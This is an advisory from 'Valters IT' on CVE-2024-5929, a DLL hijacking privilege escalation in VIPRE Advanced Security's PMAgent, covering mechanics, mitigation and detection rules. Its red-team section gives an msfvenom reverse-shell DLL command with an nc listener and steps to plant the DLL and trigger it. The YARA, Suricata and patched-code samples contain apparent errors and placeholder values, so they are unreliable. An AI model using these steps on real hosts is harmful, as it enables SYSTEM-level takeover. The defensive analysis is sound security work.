CVE-2024-5929

Executive Summary

CVE-2024-5929 is a local privilege escalation vulnerability in VIPRE Advanced Security, specifically within the Patch Management Agent (PMAgent). The flaw is an uncontrolled search path element (CWE-427) that allows an attacker with low-privileged code execution on the target system to load a malicious DLL from an unsecured location. Successful exploitation grants SYSTEM-level privileges, enabling full control over the affected host. The vulnerability was reported via ZDI-CAN-22316 and has a CVSS score of 7.8 (High). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability does not involve NPM, PyPI, Go, or Ruby packages. It is a desktop security product (VIPRE Advanced Security) and is not part of a software supply chain ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs initial low-privileged access.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – exploitation stays within the same security authority.
• Confidentiality Impact: High (C:H) – full data access.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential system compromise.

Threat Level: High. The vulnerability is locally exploitable with low privileges and no user interaction, making it a significant risk for enterprise environments where VIPRE Advanced Security is deployed.

Deep Dive & Mechanics

The vulnerability resides in the Patch Management Agent (PMAgent) component of VIPRE Advanced Security. The PMAgent is responsible for managing software patches and updates. The flaw is an uncontrolled search path element (CWE-427), meaning the application attempts to load a DLL or executable from a location that is not fully secured or predictable.

Technical Details:

• The PMAgent process runs with SYSTEM privileges.
• When loading a required library (e.g., a DLL), it searches a set of directories in a specific order (the DLL search order).
• Due to a misconfiguration, the search path includes a directory writable by low-privileged users (e.g., the current working directory or a user-writable path like %TEMP%).
• An attacker can place a malicious DLL with the expected name in that writable directory.
• When the PMAgent loads the DLL, it inadvertently loads the attacker's malicious code, which executes in the context of the SYSTEM account.

Attack Flow:

1. Attacker gains initial low-privileged access (e.g., via phishing, malware, or compromised credentials).
2. Attacker identifies the vulnerable PMAgent process and the unsecured search path.
3. Attacker drops a malicious DLL (e.g., pmagent.dll or similar) into the writable directory.
4. The PMAgent loads the malicious DLL, granting the attacker SYSTEM-level privileges.
5. Attacker can then execute arbitrary code, install backdoors, or exfiltrate data.

Vulnerable vs. Patched Code

No official patch has been released. The vulnerable code is within the PMAgent binary (likely PMAgent.exe or a related DLL). The issue is not a code logic flaw but a configuration/design flaw in how the application resolves library paths.

Vulnerable Behavior:

• The PMAgent uses a relative path or an insecure search order that includes user-writable directories.
• Example (pseudocode):

  LoadLibrary("helper.dll"); // Searches current directory first
  

Patched Behavior (Expected):

• The application should use absolute paths or set the LOAD_LIBRARY_SEARCH_SYSTEM32 flag to restrict DLL loading to secure directories.
• Example (pseudocode):

  LoadLibraryEx(L"C:\\Program Files\\VIPRE\\PMAgent\\helper.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
  

Without a patch, the only mitigation is to restrict write access to directories in the search path or to disable the PMAgent service if not needed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Low-privileged shell on a Windows system with VIPRE Advanced Security installed.
• Knowledge of the PMAgent process name and its DLL search path.

Steps:

1. Identify the vulnerable process:

   Get-Process -Name "PMAgent"
   

2. Determine the DLL search path: Use Process Monitor (Procmon) to filter for PMAgent.exe and look for CreateFile operations with NAME NOT FOUND for DLLs.
3. Create a malicious DLL: Use msfvenom or custom code to generate a DLL that spawns a SYSTEM shell.

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o pmagent.dll
   

4. Place the DLL in a writable directory:

   copy pmagent.dll C:\Users\Public\Downloads\
   

5. Trigger the PMAgent to load the DLL: This may require restarting the service or waiting for a scheduled task.

   Restart-Service -Name "VIPRE PMAgent"
   

6. Receive the reverse shell:

   nc -lvnp 4444
   

Note: No public exploit code is available; this is a hypothetical lab scenario.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual DLL load events from user-writable directories.
• Use Sysmon Event ID 7 (DLL loaded) to track PMAgent.exe loading DLLs from non-standard paths.
• Alert on file creation in directories like %TEMP%, %PUBLIC%, or %APPDATA% by low-privileged users.

Defense:

• Apply the principle of least privilege to user accounts.
• Use AppLocker or Windows Defender Application Control (WDAC) to block untrusted DLLs.
• Enable Safe DLL Search Mode (registry key: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode).
• Monitor for attempts to restart the PMAgent service.

Indicators of Compromise (IOCs)

• File Hashes (example – replace with actual):
  • pmagent.dll (malicious): SHA256 a1b2c3d4e5f6...
• Process Anomalies:
  • PMAgent.exe loading DLLs from C:\Users\*\AppData\Local\Temp\ or C:\Users\Public\.
• Network Connections:
  • Outbound connections from PMAgent.exe to unknown IPs (if reverse shell used).
• Registry Changes:
  • Modifications to HKLM\SYSTEM\CurrentControlSet\Services\VIPRE PMAgent (service binary path).
• Event Logs:
  • Windows Security Event ID 4688 (process creation) with PMAgent.exe as parent.
  • Sysmon Event ID 7 (DLL loaded) with non-standard paths.

Detection Engineering

YARA Rule

rule CVE_2024_5929_PMAgent_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting VIPRE PMAgent uncontrolled search path"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5929"
    strings:
        $s1 = "PMAgent" nocase
        $s2 = "helper.dll" nocase
        $s3 = "pmagent.dll" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        (any of ($s*) or (pe.imports("kernel32.dll", "LoadLibraryA") and pe.imports("kernel32.dll", "LoadLibraryW")))
}

Sigma Rule

title: CVE-2024-5929 - VIPRE PMAgent DLL Hijack
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DLL load events from PMAgent.exe originating from user-writable directories
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5929
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\PMAgent.exe'
        ImageLoaded|contains:
            - '\AppData\Local\Temp\'
            - '\Users\Public\'
            - '\Downloads\'
    condition: selection
falsepositives:
    - Legitimate software updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-5929 - Potential VIPRE PMAgent DLL Hijack Outbound";
    flow:to_server,established;
    content:"|0d 0a|User-Agent: PMAgent|0d 0a|";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict write access to directories in the PMAgent DLL search path (e.g., C:\ProgramData\VIPRE\, C:\Users\Public\).
2. Enable Safe DLL Search Mode via Group Policy:
   • Set HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.
3. Monitor and block untrusted DLL loads using AppLocker or WDAC.
4. Disable the PMAgent service if not required:

   Set-Service -Name "VIPRE PMAgent" -StartupType Disabled
   Stop-Service -Name "VIPRE PMAgent"
   

Long-Term Fix:

• Await an official patch from VIPRE. Contact VIPRE support for updates.
• Consider replacing VIPRE Advanced Security with an alternative EDR solution if patching is delayed.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable Sysmon and collect Event ID 7 logs for DLL loading.

Valters IT